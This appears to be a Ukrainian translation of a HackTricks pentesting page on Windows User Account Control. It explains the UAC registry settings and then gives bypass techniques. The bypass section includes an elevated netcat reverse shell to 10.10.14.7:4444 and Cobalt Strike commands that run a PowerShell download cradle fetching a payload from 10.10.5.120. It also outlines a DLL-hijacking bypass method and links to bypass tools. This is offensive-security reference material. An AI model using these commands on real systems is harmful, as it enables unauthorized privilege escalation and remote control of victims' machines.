UAC - User Account Control

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

UAC

Контроль облікових записів користувачів (UAC) - це функція, яка дозволяє запит на підтвердження для підвищених дій. Додатки мають різні рівні цілісності, і програма з високим рівнем може виконувати завдання, які потенційно можуть підірвати систему. Коли UAC увімкнено, додатки та завдання завжди виконуються в контексті безпеки облікового запису неадміністратора, якщо адміністратор не надає цим додаткам/завданням явний дозвіл на доступ рівня адміністратора до системи. Це зручна функція, яка захищає адміністраторів від ненавмисних змін, але не вважається межею безпеки.

Для отримання додаткової інформації про рівні цілісності:

Коли UAC працює, користувачу-адміністратору надаються 2 токени: стандартний ключ користувача для виконання звичайних дій на звичайному рівні та один з привілеями адміністратора.

Ця сторінка розглядає, як працює UAC докладно і включає процес входу, досвід користувача та архітектуру UAC. Адміністратори можуть використовувати політику безпеки для налаштування роботи UAC специфічно для своєї організації на локальному рівні (за допомогою secpol.msc) або налаштовувати та розповсюджувати через об'єкти політики груп (GPO) в середовищі домену Active Directory. Різні налаштування розглядаються докладно тут. Існує 10 налаштувань групової політики, які можна встановити для UAC. У таблиці наведено додаткові подробиці:

Деякі програми автоматично підвищуються якщо користувач належить до групи адміністраторів. Ці виконувані файли мають у своєму Маніфесті параметр autoElevate зі значенням True. Крім того, виконуваний файл повинен бути підписаний Microsoft.

Отже, для обхіду UAC (підвищення рівня доступу з середнього до високого) деякі зловмисники використовують ці виконувані файли для виконання довільного коду, оскільки він буде виконаний з процесу з високим рівнем доступу.

Ви можете перевірити Маніфест виконуваного файлу за допомогою інструменту sigcheck.exe від Sysinternals. І ви можете переглянути рівень доступу процесів за допомогою Process Explorer або Process Monitor (від Sysinternals).

Перевірка UAC

Щоб підтвердити, що UAC увімкнено, виконайте:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Якщо це 1, то UAC активовано, якщо це 0 або не існує, то UAC неактивовано.

Потім перевірте, який рівень налаштований:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Якщо 0, то UAC не буде запитувати (як вимкнено)

  • Якщо 1, адміністратор попросить ввести ім'я користувача та пароль, щоб виконати виконуваний файл з високими правами (на захищеному робочому столі)

  • Якщо 2 (Завжди повідомляти мене), UAC завжди буде запитувати підтвердження від адміністратора, коли він спробує виконати щось з високими привілеями (на захищеному робочому столі)

  • Якщо 3 схоже на 1, але не обов'язково на захищеному робочому столі

  • Якщо 4 схоже на 2, але не обов'язково на захищеному робочому столі

  • Якщо 5 (типово), він попросить адміністратора підтвердити запуск не віконних бінарних файлів з високими привілеями

Потім вам потрібно переглянути значення LocalAccountTokenFilterPolicy Якщо значення 0, тоді тільки користувач RID 500 (вбудований адміністратор) може виконувати адміністративні завдання без UAC, а якщо це 1, всі облікові записи в групі "Адміністратори" можуть це робити.

І, нарешті, перегляньте значення ключа FilterAdministratorToken Якщо 0(типово), обліковий запис вбудованого адміністратора може виконувати віддалені адміністративні завдання, а якщо 1, обліковий запис вбудованого адміністратора не може виконувати віддалені адміністративні завдання, якщо LocalAccountTokenFilterPolicy встановлено на 1.

Підсумок

  • Якщо EnableLUA=0 або не існує, немає UAC для нікого

  • Якщо EnableLua=1 і LocalAccountTokenFilterPolicy=1, немає UAC для нікого

  • Якщо EnableLua=1 і LocalAccountTokenFilterPolicy=0 і FilterAdministratorToken=0, немає UAC для RID 500 (Вбудований адміністратор)

  • Якщо EnableLua=1 і LocalAccountTokenFilterPolicy=0 і FilterAdministratorToken=1, UAC для всіх

Усю цю інформацію можна отримати за допомогою модуля metasploit: post/windows/gather/win_privs

Ви також можете перевірити групи вашого користувача та отримати рівень цілісності:

net user %username%
whoami /groups | findstr Level

Обхід UAC

Зверніть увагу, що якщо у вас є графічний доступ до жертви, обхід UAC простий, оскільки ви можете просто клацнути "Так", коли з'явиться запит UAC.

Обхід UAC потрібний в такій ситуації: UAC активовано, ваш процес працює в контексті середньої цілісності, і ваш користувач належить до групи адміністраторів.

Важливо зазначити, що набагато складніше обійти UAC, якщо він має найвищий рівень безпеки (Always), ніж якщо він має будь-який інший рівень (Default).

UAC вимкнено

Якщо UAC вже вимкнено (ConsentPromptBehaviorAdmin 0), ви можете виконати зворотний shell з правами адміністратора (високий рівень цілісності), використовуючи щось на зразок:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC обхід з дублюванням токенів

Дуже простий UAC "обхід" (повний доступ до файлової системи)

Якщо у вас є оболонка з користувачем, який знаходиться в групі Адміністраторів, ви можете підключити C$ через SMB (файлову систему) локально на новий диск і матимете доступ до всього в межах файлової системи (навіть домашньої папки адміністратора).

Здається, що цей трюк більше не працює

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Ухилення UAC за допомогою cobalt strike

Техніки Cobalt Strike будуть працювати лише у випадку, якщо UAC не встановлено на максимальний рівень безпеки

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire та Metasploit також мають кілька модулів для обхідної UAC.

KRBUACBypass

Документація та інструмент за посиланням https://github.com/wh0amitz/KRBUACBypass

Використання уразливостей обходу UAC

UACME - це компіляція кількох уразливостей обходу UAC. Зверніть увагу, що вам потрібно буде скомпілювати UACME за допомогою Visual Studio або MSBuild. Під час компіляції буде створено кілька виконуваних файлів (наприклад, Source\Akagi\outout\x64\Debug\Akagi.exe), вам потрібно буде знати, який саме вам потрібен. Варто бути обережним, оскільки деякі обходи можуть спонукати інші програми, які повідомлять користувача, що щось відбувається.

У UACME є версія збірки, з якої почав працювати кожний метод. Ви можете шукати метод, який впливає на ваші версії:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Також, використовуючи цю сторінку, ви отримуєте версію Windows 1607 зі збірки.

Ще більше обхідів UAC

Всі техніки, використані тут для обходу AUC, потребують повного інтерактивного шелу з жертвою (звичайний шел nc.exe не достатньо).

Ви можете отримати сеанс meterpreter. Перейдіть до процесу, у якого значення Session дорівнює 1:

(explorer.exe має працювати)

Обхід UAC з GUI

Якщо у вас є доступ до GUI, ви можете просто прийняти запит UAC, коли ви його отримаєте, вам не потрібно його обходити. Таким чином, отримання доступу до GUI дозволить вам обійти UAC.

Більше того, якщо ви отримаєте сеанс GUI, яким хтось користувався (потенційно через RDP), там є деякі інструменти, які будуть працювати в якості адміністратора, звідки ви зможете запустити наприклад cmd як адміністратор без повторного запиту від UAC, як https://github.com/oski02/UAC-GUI-Bypass-appverif. Це може бути трохи прихованіше.

Гучний обхід UAC методом брутфорсу

Якщо вас не турбує шум, ви завжди можете запустити щось на кшталт https://github.com/Chainski/ForceAdmin, що просить підвищити дозволи, поки користувач не погодиться.

Власний обхід - Основна методологія обходу UAC

Якщо ви подивитесь на UACME, ви помітите, що більшість обходів UAC використовують уразливість Dll Hijacking (головним чином записуючи шкідливу dll на C:\Windows\System32). Прочитайте це, щоб дізнатися, як знайти уразливість Dll Hijacking.

  1. Знайдіть бінарний файл, який автоматично підвищує (перевірте, що при його виконанні він працює на високому рівні цілісності).

  2. За допомогою procmon знайдіть події "NAME NOT FOUND", які можуть бути вразливі до DLL Hijacking.

  3. Ймовірно, вам доведеться записати DLL всередині деяких захищених шляхів (наприклад, C:\Windows\System32), де у вас немає прав на запис. Ви можете обійти це, використовуючи:

  4. wusa.exe: Windows 7,8 та 8.1. Він дозволяє видобувати вміст файлу CAB всередині захищених шляхів (тому що цей інструмент виконується на високому рівні цілісності).

  5. IFileOperation: Windows 10.

  6. Підготуйте скрипт, щоб скопіювати ваш DLL всередину захищеного шляху та виконати вразливий та автоматично підвищений бінарний файл.

Ще одна техніка обходу UAC

Полягає в тому, що спостерігається, як автоматично підвищений бінарний файл намагається читати з реєстру ім'я/шлях бінарного файлу або команди для виконання (це цікавіше, якщо бінарний файл шукає цю інформацію всередині HKCU).

Використовуйте Trickest, щоб легко створювати та автоматизувати робочі процеси, підтримувані найбільш продвинутими інструментами спільноти у світі. Отримайте доступ сьогодні:

Last updated